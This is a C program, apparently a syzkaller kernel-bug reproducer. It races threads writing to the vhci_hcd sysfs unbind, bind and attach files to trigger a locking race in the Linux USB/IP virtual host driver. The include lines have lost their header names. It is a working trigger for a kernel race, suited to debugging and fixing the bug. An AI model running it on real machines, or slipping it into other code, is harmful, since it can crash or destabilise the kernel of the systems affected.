// https://syzkaller.appspot.com/bug?id=8e9b0432c9901d761d361cc094818548700354ba #define _GNU_SOURCE #include #include #include #include #include #include #include static int stop = 0; void *unbind_bind(void *arg) { int unbind_fd = open("/sys/bus/platform/drivers/vhci_hcd/unbind", O_WRONLY); int bind_fd = open("/sys/bus/platform/drivers/vhci_hcd/bind", O_WRONLY); if (unbind_fd < 0 || bind_fd < 0) { printf("[-] Failed to open bind/unbind sysfs files: %s\n", strerror(errno)); if (unbind_fd >= 0) close(unbind_fd); if (bind_fd >= 0) close(bind_fd); return NULL; } while (!__atomic_load_n(&stop, __ATOMIC_RELAXED)) { // Ignore errors here because they are expected during the race if (write(unbind_fd, "vhci_hcd.0", 10) < 0) { // Expected to fail sometimes if already unbound } if (write(bind_fd, "vhci_hcd.0", 10) < 0) { // Expected to fail sometimes if already bound } } close(unbind_fd); close(bind_fd); return NULL; } void *attach(void *arg) { char buf[256]; // Format: // speed = 5 (USB_SPEED_SUPER) forces the use of the shared HCD (vhci_hcd_ss) // sockfd = 100 is an invalid fd, causing a quick exit after the vulnerable mutex_lock sprintf(buf, "0 100 0 5"); while (!__atomic_load_n(&stop, __ATOMIC_RELAXED)) { int fd = open("/sys/devices/platform/vhci_hcd.0/attach", O_WRONLY); if (fd >= 0) { // Ignore errors here because they are expected during the race if (write(fd, buf, strlen(buf)) < 0) { // Expected to fail due to invalid fd or unbinding } close(fd); } } return NULL; } int main() { // Ensure fd 100 is closed so sockfd_lookup fails quickly close(100); pthread_t t_unbind; pthread_t t_attach[4]; if (pthread_create(&t_unbind, NULL, unbind_bind, NULL) != 0) { printf("[-] Failed to create unbind thread: %s\n", strerror(errno)); return 1; } for (int i = 0; i < 4; i++) { if (pthread_create(&t_attach[i], NULL, attach, NULL) != 0) { printf("[-] Failed to create attach thread: %s\n", strerror(errno)); return 1; } } printf("[+] Threads started. Racing for 10 seconds...\n"); sleep(10); __atomic_store_n(&stop, 1, __ATOMIC_RELAXED); pthread_join(t_unbind, NULL); for (int i = 0; i < 4; i++) { pthread_join(t_attach[i], NULL); } printf("[+] Reproducer finished.\n"); return 0; }